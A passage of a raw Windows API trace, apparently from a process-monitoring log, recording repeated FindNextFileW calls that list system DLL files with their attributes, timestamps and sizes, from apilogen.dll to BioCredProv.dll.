ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0165.686] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0165.687] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, 